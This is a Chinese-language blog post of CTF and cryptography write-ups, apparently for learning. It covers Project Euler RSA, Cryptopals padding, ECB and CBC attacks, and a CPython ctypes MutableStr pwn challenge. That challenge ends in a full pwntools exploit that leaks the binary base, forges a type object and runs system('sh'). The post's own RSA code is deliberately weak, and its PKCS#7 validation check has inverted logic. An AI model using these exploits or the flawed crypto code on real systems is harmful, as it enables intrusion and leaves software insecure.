2025年11月

题目一

Project Euler RSA Encryption Problem 182

链接:https://projecteuler.net/problem=182

RSA 有可能存在加密但没有加密的情况。

起初遍历所有可能的消息并逐个加密来计算 unconsealed messages count。后来发现有以下公式:

$$ N = (1 + \gcd(e-1, p-1)) \times (1 + \gcd(e-1, q-1)) $$

from gmpy2 import gcd

p = 1009
q = 3643
phi = (p - 1) * (q - 1)

min_unconcealed = p * q
candidates = []

for e in range(3, phi, 2):
    if gcd(e, phi) != 1:
        continue
    count = (1 + gcd(e - 1, p - 1)) * (1 + gcd(e - 1, q - 1))
    if count < min_unconcealed:
        min_unconcealed = count
        candidates = [e]
    elif count == min_unconcealed:
        candidates.append(e)

print(f"min_unconcealed: {min_unconcealed}")
print("e:", end=" ")

for e in candidates[:50]:
    print(f'{e} ', end='')
print()

题目二

Implement RSA

链接:https://www.cryptopals.com/sets/5/challenges/39

只是实现一个简单的 RSA,要求手写 exgcd 和 modinv,那就手写吧。

from gmpy2 import next_prime, powmod
from secrets import randbits
from Crypto.Util.number import bytes_to_long


def gcd(a, b):
    while b != 0:
        a, b = b, a % b
    return a


def ex_gcd(a, b):
    if b == 0:
        return 1, 0
    else:
        x1, y1 = ex_gcd(b, a % b)
        x = y1
        y = x1 - (a // b) * y1
        return x, y


def inverse(a, m):
    x, _ = ex_gcd(a, m)
    return (x % m + m) % m


e = 3
while True:
    p = next_prime(randbits(64))
    q = next_prime(randbits(64))
    n = p * q
    phi = (p - 1) * (q - 1)
    if gcd(e, phi) == 1:
        break

m = bytes_to_long(b'pwnerik.cn')
assert 0 <= m < n
c = powmod(m, e, n)

d = inverse(e, phi)
msg = powmod(c, d, n)
assert m == msg

这个实现有很多问题,例如 e、p、q 太小。

题目一

地址:https://mysterytwister.org/challenges/level-2/aes-key--encoded-in-the-machine-readable-zone-of-a-european-epassport

俄罗斯的电子护照编号编码了一个 AES 密钥,我们需要解码出这个密钥然后解密 AES CBC 模式密文。题目说 IV 初始化为 0,那么我们只需要得到密钥。

目标密文(base64):

9MgYwmuPrjiecPMx61O6zIuy3MtIXQQ0E59T3xB6u0Gyf1gYs2i3K9Jxaa0zj4gTMazJuApwd6+jdyeI5iGHvhQyDHGVlAuYTgJrbFDrfB22Fpil2NfNnWFBTXyf7SDI

题目已经过期了,现在的 ICAO 文件描述的护照编号格式连长度都不一样。这怎么做?只能抄题解了……

题目二

地址:https://cryptopals.com/sets/2

Implement PKCS#7 padding

不需要特别考虑 content 恰好和块等长的情况,相当于再附加一个只有 padding 的块。

def pkcs_7(content: bytes) -> bytes:
    padlen = 16 - (len(content) % 16)
    return content + bytes([padlen] * padlen)


pkcs_7("YELLOW SUBMARINE", 20)

# "YELLOW SUBMARINE\x04\x04\x04\x04"

Implement CBC mode

from base64 import b64decode
from Crypto.Cipher import AES


def aes_ecb_dec(block: bytes, key: bytes) -> bytes:
    assert len(block) % 16 == 0
    cipher = AES.new(key, AES.MODE_ECB)
    return cipher.decrypt(block)


def bytesxor(a: bytes, b: bytes) -> bytes:
    if len(a) > len(b):
        return bytes([x ^ y for (x, y) in zip(a[:len(b)], b)])
    else:
        return bytes([x ^ y for (x, y) in zip(a, b[:len(a)])])


def depkcs_7(content: bytes) -> bytes:
    return content[:len(content) - content[-1]]


def aes_cbc_dec(cipher: bytes, key: bytes, iv: bytes) -> bytes:
    assert len(cipher) % 16 == 0
    result = bytes()
    prev_block = iv
    for i in range(0, len(cipher), 16):
        block = cipher[i:i+16]
        decrypted = aes_ecb_dec(block, key)
        result += bytesxor(decrypted, prev_block)
        prev_block = block
    return depkcs_7(result)


key = b"YELLOW SUBMARINE"
with open('10.txt', 'r') as f:
    encrypted_b64 = f.read()
cipher = b64decode(encrypted_b64)
print(aes_cbc_dec(cipher, key, b'\x00' * 16))

An ECB/CBC detection oracle

通过检查是否有重复块来判断是否是 ECB 模式,用户输入需要有较长的重复 pattern 才能成功。

def aes_ecb_enc(data: bytes, key: bytes) -> bytes:
    assert len(data) % 16 == 0
    cipher = AES.new(key, AES.MODE_ECB)
    return cipher.encrypt(data)


def pkcs_7(content: bytes) -> bytes:
    padlen = 16 - (len(content) % 16)
    return content + bytes([padlen] * padlen)


def aes_cbc_enc(plain: bytes, key: bytes, iv: bytes) -> bytes:
    plain = pkcs_7(plain)
    result = bytes()
    prev_block = iv
    for i in range(0, len(plain), 16):
        block = plain[i: i + 16]
        encrypted = aes_ecb_enc(bytesxor(block, prev_block), key)
        result += encrypted
        prev_block = encrypted
    return result


def randint(a: int, b: int) -> int:
    return randbelow(b - a + 1) + a


def encryption_oracle(plaintext: bytes) -> bytes:
    key = token_bytes(16)
    plaintext = token_bytes(randint(5, 10)) + \
        plaintext + token_bytes(randint(5, 10))

    if randbelow(2) == 0:
        print("Oracle used: ECB")
        ciphertext = aes_ecb_enc(pkcs_7(plaintext), key)
    else:
        print("Oracle used: CBC")
        iv = token_bytes(16)
        ciphertext = aes_cbc_enc(plaintext, key, iv)
    return ciphertext


def detect_mode(ciphertext: bytes) -> str:
    blocks = [ciphertext[i:i+16] for i in range(0, len(ciphertext), 16)]
    if len(set(blocks)) != len(blocks):
        return "ECB"
    return "CBC"


ciphertext = encryption_oracle(input().encode())
mode = detect_mode(ciphertext)
print(f"Detected mode: {mode}")

Byte-at-a-time ECB decryption (Simple)

经典的 ECB Padding Oracle,由于 ECB 对相同 key 相同块的加密无论位置永远相同,我们可以逐字节爆破明文。

由于 key 不变,优化为只初始化 AES cipher 一次。爆破时无需拼接整个 cracked,只需拼接 (padding + cracked)[-15:] 以节省加密时间。

from secrets import token_bytes


unknown = b64decode(
    'Um9sbGluJyBpbiBteSA1LjAKV2l0aCBteSByYWctdG9wIGRvd24gc28gbXkgaGFpciBjYW4gYmxvdwpUaGUgZ2lybGllcyBvbiBzdGFuZGJ5IHdhdmluZyBqdXN0IHRvIHNheSBoaQpEaWQgeW91IHN0b3A/IE5vLCBJIGp1c3QgZHJvdmUgYnkK')
key = token_bytes(16)
cipher = AES.new(key, AES.MODE_ECB)


def encryption_oracle(plaintext: bytes) -> bytes:
    plaintext = pkcs_7(plaintext + unknown)
    ciphertext = cipher.encrypt(plaintext)
    return ciphertext


# block_size is 16
# Mode is ECB

cracked = b''
for i in range(len(unknown)):
    padding = b'A' * ((16 - 1) - (i % 16))
    encrypted = encryption_oracle(padding)
    start = i // 16 * 16
    target_block = encrypted[start:start + 16]
    for j in range(256):
        if encryption_oracle((padding + cracked)[-15:] + bytes([j]))[:16] == target_block:
            cracked += bytes([j])
            break

print(cracked)
assert cracked == unknown

# b"Rollin' in my 5.0\nWith my rag-top down so my hair can blow\nThe girlies on standby waving just to say hi\nDid you stop? No, I just drove by\n"

ECB cut-and-paste

同上,我们调整用户输入的邮箱地址,构造一个包含 PKCS#7 padded adminuser 这两个块的 k-v 字符串输入。截取加密后 PKCS#7 padded admin 块,替换加密后的最后一个块(PKCS#7 padded user),获得 admin profile 密文。

(如果要验证邮箱地址格式的话这招估计就不管用了。)

def kv_to_dict(input: str) -> dict[str, str]:
    result = dict()
    for entry in input.split('&'):
        k, v = entry.split('=')
        result[k] = v.replace('%26', '&').replace('%3D', '=')
    return result


def dict_to_kv(input: dict[str, str]) -> str:
    entries: list[str] = list()
    for entry in input.items():
        entries.append(
            f'{entry[0]}={entry[1].replace('&', '%26').replace('=', '%3D')}')
    return '&'.join(entries)


current_uid = 0


def profile_for(email: str) -> str:
    global current_uid
    result = dict_to_kv(
        {'email': email, 'uid': str(current_uid), 'role': 'user'})
    current_uid += 1
    return result


print(kv_to_dict('foo=bar&baz=qux&zap=zazzle'))
print(profile_for('foo@bar.com'))

key = token_bytes(16)
cipher = AES.new(key, AES.MODE_ECB)


def send_profile(email: str) -> bytes:
    return cipher.encrypt(pkcs_7(profile_for(email).encode()))


def recv_profile(encrypted: bytes) -> dict[str, str]:
    return kv_to_dict(depkcs_7(cipher.decrypt(encrypted)).decode())


admin_block = pkcs_7(b'admin')
encrypted = send_profile('A' * (16 - len(b'email=')) +
                         admin_block.decode() + 'AAAA')
fake_encrypted = encrypted[:-16] + encrypted[16:32]
print(recv_profile(fake_encrypted))

# {'foo': 'bar', 'baz': 'qux', 'zap': 'zazzle'}
# email=foo@bar.com&uid=0&role=user
# {'email': 'AAAAAAAAAAadmin\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0bAAAA', 'uid': '1', 'role': 'admin'}

Byte-at-a-time ECB decryption (Harder)

已知随机添加 5 ~ 10 随机字节。我们可以假设额外的随机 padding 长度就是 10,为了检测这种情况已经发生,我们可以在用户输入的 padding 插入一段 b'B' * block_size,检测只有 B 的加密块是否存在,为了检测这种块我们需要先得到它(利用上文提到的 ECB 缺陷),先输入 b'B' * (block_size * 3) 然后检测重复块,重复的就是只有 B 的块。为了使只有 B 的加密块有可能存在(block_size 字节对齐),我们还需要在“B 块”前添加 b'A' * (block_size - 10)

def hard_encryption_oracle(plaintext: bytes) -> bytes:
    plaintext = pkcs_7(token_bytes(randint(5, 10)) + plaintext + unknown)
    ciphertext = cipher.encrypt(plaintext)
    return ciphertext


def detect_repeat(ecb_enc: bytes) -> int:
    assert len(ecb_enc) >= 32
    for i in range(0, len(ecb_enc) - 16, 16):
        if ecb_enc[i:i+16] == ecb_enc[i+16:i+32]:
            return i


cracked = b''
test = hard_encryption_oracle(b'B' * (16 * 3))
offset = detect_repeat(test)
pure_B_block_enc = test[offset:offset + 16]
for i in range(len(unknown)):
    extra_padding = b'A' * (16 - 10) + b'B' * 16
    padding = b'A' * ((16 - 1) - (i % 16))
    encrypted = bytes()
    while pure_B_block_enc not in encrypted:
        encrypted = hard_encryption_oracle(extra_padding + padding)
    start = i // 16 * 16 + 32
    target_block = encrypted[start:start + 16]
    for j in range(256):
        guess_enc = bytes()
        while pure_B_block_enc not in guess_enc:
            guess_enc = hard_encryption_oracle(
                extra_padding + (padding + cracked)[-15:] + bytes([j]))

        if guess_enc[32:48] == target_block:
            cracked += bytes([j])
            break

print(cracked)
assert cracked == unknown

PKCS#7 padding validation

def depkcs_7(input: bytes) -> bytes:
    padlen = input[-1]
    if 0 < padlen <= 16 or input.endswith(bytes([padlen]) * padlen):
        raise ValueError("Bad padding")
    return input[:-padlen]

CBC bitflipping attacks

You're relying on the fact that in CBC mode, a 1-bit error in a ciphertext block:

  • Completely scrambles the block the error occurs in
  • Produces the identical 1-bit error(/edit) in the next ciphertext block.
KEY = token_bytes(16)
IV = token_bytes(16)


def aes_cbc_enc(plain: bytes, key: bytes, iv: bytes) -> bytes:
    plain = pkcs_7(plain)
    result = bytes()
    prev_block = iv
    for i in range(0, len(plain), 16):
        block = plain[i:i + 16]
        encrypted = aes_ecb_enc(bytesxor(block, prev_block), key)
        result += encrypted
        prev_block = encrypted
    return result


def quote(data: bytes) -> bytes:
    return data.replace(b';', b'%3B').replace(b'=', b'%3D')


def encrypt_userdata(userdata: bytes) -> bytes:
    prefix = b'comment1=cooking%20MCs;userdata='
    suffix = b';comment2=%20like%20a%20pound%20of%20bacon'

    plaintext = prefix + quote(userdata) + suffix
    return aes_cbc_enc(plaintext, KEY, IV)


def check_admin(ciphertext: bytes) -> bool:
    try:
        plaintext = aes_cbc_dec(ciphertext, KEY, IV)
        return b';admin=true;' in plaintext
    except:
        return False


# len(b'comment1=cooking%20MCs;userdata=') -> 32
# len(b';comment2=%20like%20a%20pound%20of%20bacon') -> 42
ciphertext = encrypt_userdata(b'A' * (16 + (48 - 42)))
mask = bytesxor(b'AAAAAA;comme', b';admin=true;')
payload = bytesxor(ciphertext[32:32 + len(mask)], mask)
fake_ciphertext = ciphertext[:32] + payload + ciphertext[32 + len(mask):]
print(check_admin(fake_ciphertext))

# True

少见的 Python interpreter pwn,漏洞点也很有意思。

Challenge

Python 3.12.4

import ctypes

from typing import Union, List, Dict

STRPTR_OFFSET = 0x28 
LENPTR_OFFSET = 0x10

class MutableStr:
    pass

class MutableStr:
    def __init__(self, data:str):
        self.data = data
        self.base_ptr = id(self.data)
        self.max_size_str = ""

    def set_max_size(self, max_size_str):
        if int(max_size_str) < ((len(self)+7) & ~7):
            self.max_size_str = max_size_str
        else:
            print("can't set max_size: too big")

    def __repr__(self):
        return self.data

    def __str__(self):
        return self.__repr__()        

    def __len__(self):
        if self.base_ptr is None:
            return 0
        ptr = ctypes.cast(self.base_ptr + LENPTR_OFFSET, ctypes.POINTER(ctypes.c_int64))
        return ptr[0]
    
    def __getitem__(self, key:int):
        if not isinstance(key, int):
            raise NotImplementedError
        if key >= len(self) or key < 0:
            raise RuntimeError("get overflow")
        
        return self.data[key]

    def __setitem__(self, key:int, value:int):
        if not isinstance(value, int):
            raise NotImplementedError("only support integer value")

        if not isinstance(key, int):
            raise NotImplementedError("only support integer key")

        if key >= len(self) or key < 0:
            raise RuntimeError(f"set overflow: length:{len(self)}, key:{key}")
        
        strptr = ctypes.cast(self.base_ptr + STRPTR_OFFSET, ctypes.POINTER(ctypes.c_char))
        strptr[key] = value
    
    def __add__(self, other:Union[str,MutableStr]):
        if isinstance(other, str):
            return MutableStr(self.data + other)
        
        if isinstance(other, MutableStr):
            return MutableStr(self.data + other.data)
        
        raise NotImplementedError()
    
    def _add_str(self, other):
        if self.max_size_str == "":
            max_size = (len(self)+7) & ~7
        else:
            max_size = int(self.max_size_str)
        if len(self)+len(other) <= max_size:
            other_len = len(other)
            strptr = ctypes.cast(self.base_ptr + STRPTR_OFFSET, ctypes.POINTER(ctypes.c_char))
            otherstrptr = ctypes.cast(id(other) + STRPTR_OFFSET, ctypes.POINTER(ctypes.c_char))
            for i in range(other_len):
                strptr[i+len(self)] = otherstrptr[i]
            if len(self)+other_len < max_size:
                # strptr[len(self)+other_len] = 0 
                pass
            ctypes.cast(self.base_ptr + LENPTR_OFFSET, ctypes.POINTER(ctypes.c_int64))[0] += other_len
        else:
            print("Full!")
        return self
    
    def __iadd__(self, other):
        if isinstance(other, str):
            return self._add_str(other)
        if isinstance(other, MutableStr):
            return self._add_str(other.data)
        return self

def new_mstring(data:str) -> MutableStr:
    return MutableStr(data)

mstrings:List[MutableStr] = []

def main():
    while True:
        try:
            cmd, data, *values = input("> ").split()
            if cmd == "new":
                mstrings.append(new_mstring(data))
            
            if cmd == "set_max":
                idx = int(values[0])
                if idx >= len(mstrings) or idx < 0:
                    print("invalid index")
                    continue
                mstrings[idx].set_max_size(data)
            
            if cmd == "+":
                idx1 = int(data)
                idx2 = int(values[0])
                if idx1 < 0 or idx1 >= len(mstrings) or idx2 < 0 or idx2 >= len(mstrings):
                    print("invalid index")
                    continue
                mstrings.append(mstrings[idx1]+mstrings[idx2])

            if cmd == "+=":
                idx1 = int(data)
                idx2 = int(values[0])
                if idx1 < 0 or idx1 >= len(mstrings) or idx2 < 0 or idx2 >= len(mstrings):
                    print("invalid index")
                    continue
                mstrings[idx1] += mstrings[idx2]

            if cmd == "print_max":
                idx = int(data)
                if idx >= len(mstrings) or idx < 0:
                    print("invalid index")
                    continue
                print(mstrings[idx].max_size_str)

            if cmd == "print":
                idx = int(data)
                if idx >= len(mstrings) or idx < 0:
                    print("invalid index")
                    continue
                print(mstrings[idx].data)

            if cmd == "modify":
                idx = int(data)
                offset = int(values[0])
                val = values[1]
                
                if idx >= len(mstrings) or idx < 0:
                    print("invalid index")
                    continue
                mstrings[idx][offset] = int(val)
        except EOFError:
            break
        except Exception as e:
            print(f"error: {e}")

print("hello!", flush=True)
main()

省流:Python 的 str 不可变,题目用 ctypes 强行实现了一个可变字符串 MutableStr

赛中手写了个 fuzzer,发现了一个很有意思的崩溃,但一直没看懂。(好在让我意识到 CPython 对单字节字符串有特别的优化,见下文。)

Hello!
> new O
> modify 0 0 0
这样就有可能 SIGSEGV,原因是空指针解引用。

Bug

CPython 给每个单字节字符串预先分配了一个对象,位于 python 本身的数据段,所有相同的单字节字符串都指向同一个地方。如果我们先 new 一个 MutableStr '6',将另一个 MutableStrmax_size_str 设置成 '6',那么接下来改 '6' 就是改另一个 MutableStrmax_size_str。(考虑到最终 getshell 时的一些细节,需要用 6 而不是 7。)

Hello!
> new 6
> new 0
> set_max 6 1
> print_max 1
6
> += 0 0
> print_max 1
66

我们由此可以获得任意长溢出写。

CPython 用 PyASCIIObject 存储纯单字节字符串,记录长度,不依赖尾空字节。如果字符串里有非 ASCII 字符,就会改用 PyCompactUnicodeObject,此时 0x28(STRPTR_OFFSET)偏移处新增两个 8 字节字段 utf8_lengthutf8。(见源码 Python-3.12.4/Include/cpython/unicodeobject.h

typedef struct {
    PyObject_HEAD
    Py_ssize_t length;
    Py_hash_t hash;
    struct {
        unsigned int interned:2;
        unsigned int kind:3;
        unsigned int compact:1;
        unsigned int ascii:1;
        unsigned int statically_allocated:1;
        unsigned int :24;
    } state;
} PyASCIIObject;

typedef struct {
    PyASCIIObject _base;
    Py_ssize_t utf8_length;
    char *utf8;
} PyCompactUnicodeObject;

数据紧随这两个结构体之后(8 字节对齐)。CPython 存储 Unicode 字符采用定长编码,通常 UCS2(类似 UTF16),遇到大于两字节的字符则 UCS4。当 utf8 不为 NULL 时,print 就不再重新 UCS2 转 UTF8,而是直接根据这两个字段打印字符串。

但是 MutableStr 没有正确处理非 ASCII 情况,当拼接字符串时仍然向原偏移处即字符串末尾前 16 字节处写入字符串并且增加长度(注意 Python 的字符串长度是指 Unicode 码点数),我们可以结合篡改 max_size_str 从而泄露 Unicode 字符串 data 后任意偏移大约 16 字节的信息。

Exploit

笔者十分不喜欢 glibc heap pwn。以下解法不依赖特定 libc 版本,也没有 🏠。

每个 PyObject 都有一个 PyTypeObject 指针,表示对象的类型,其中有类型信息和各种操作的虚函数指针等。由于动态分配的对象在 pymalloc(不大于 512 字节)或 libc 堆上,所以理所应当可能有相邻对象的 PyTypeObject 指针,从而泄露 PIE 基址。

这里有个细节,当实际使用 print 命令打印这个字符串时,泄露出来的信息会变成其他字符。这是 builtin_print 时编码转换导致的,我们的脚本需要将实际输出的内容看做 UTF8 字节流再转为 UCS2 字节流以获取原始泄露信息。

得到基址后,我们再越界写篡改刚才提到的预先分配好的单字节字符串对象的 PyTypeObject 指针,提前伪造虚函数表,print 伪造了虚函数表的 data 从而劫持控制流。

Exp:

from pwn import *

context(arch='amd64', os='linux', log_level='debug', terminal = ['konsole', '-e'])
binary = './python'
io = process([binary, 'mstr.py'])
e = ELF(binary)

itob = lambda x: str(x).encode()
print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}')

def new_bytes(content: bytes, index: int) -> None:
    io.sendlineafter(b'> ', b'new ' + b'\x00' * len(content))
    context.log_level='info'
    for i, c in enumerate(content):
        io.sendlineafter(b'> ', f'modify {index} {i} {c}'.encode())
    context.log_level='debug'


io.sendlineafter(b'> ', 'new 瑞克'.encode())
io.sendlineafter(b'> ', 'new \x00'.encode()) # for fake type
io.sendlineafter(b'> ', 'new 6'.encode())
io.sendlineafter(b'> ', b'set_max 6 0')
io.sendlineafter(b'> ', b'set_max 6 1')
io.sendlineafter(b'> ', b'+= 2 2')
io.sendlineafter(b'> ', b'+= 2 2') # max size 6666
io.sendlineafter(b'> ', b'new ' + b'\x00' * 20)
io.sendlineafter(b'> ', '+= 0 3'.encode())
io.sendlineafter(b'> ', 'print 0'.encode())

data_leaked = io.recvline(drop=True).decode('utf-8').encode('utf-16-le')
# for i in range(0, len(data_leaked) - 8, 8):
#     print(f'{u64(data_leaked[i: i + 8]):#x}')
e.address = u64(data_leaked[16:24]) - e.sym['PyBytes_Type']
if e.address % 0x1000 != 0:
    exit(1)
print_leaked('elf_base', e.address)

gdb.attach(io, f'awa *{e.sym['_PyRuntime'] + 62000}')
# modify PyTypeObject ptr & construct fake PyTypeObject
new_bytes(b'cafebab' + cyclic(40).replace(b'caaadaaa', p64(e.sym['_PyRuntime'] + 62000)).replace(
    # For some reasons, `ph\x00` will become `sh\x00` (+= 3)
    b'aaaa', b'ph\x00\x00') + b'\x00' * 88 + p64(e.plt['system']), 4)
io.sendlineafter(b'> ', b'+= 1 4')

io.sendlineafter(b'> ', 'new \x01'.encode())  # fake type victim
io.sendlineafter(b'> ', 'print 5'.encode())  # invoke virtual function

io.interactive()

🐍🔥🐍🔥🐍🔥🐍🔥

由于堆布局每次运行时不同,只是有概率成功(如果加上堆喷可以做到每次成功)。以上 exploit 不破坏控制流完整性,即使开启 SHSTK 和 IBT 保护也可以绕过。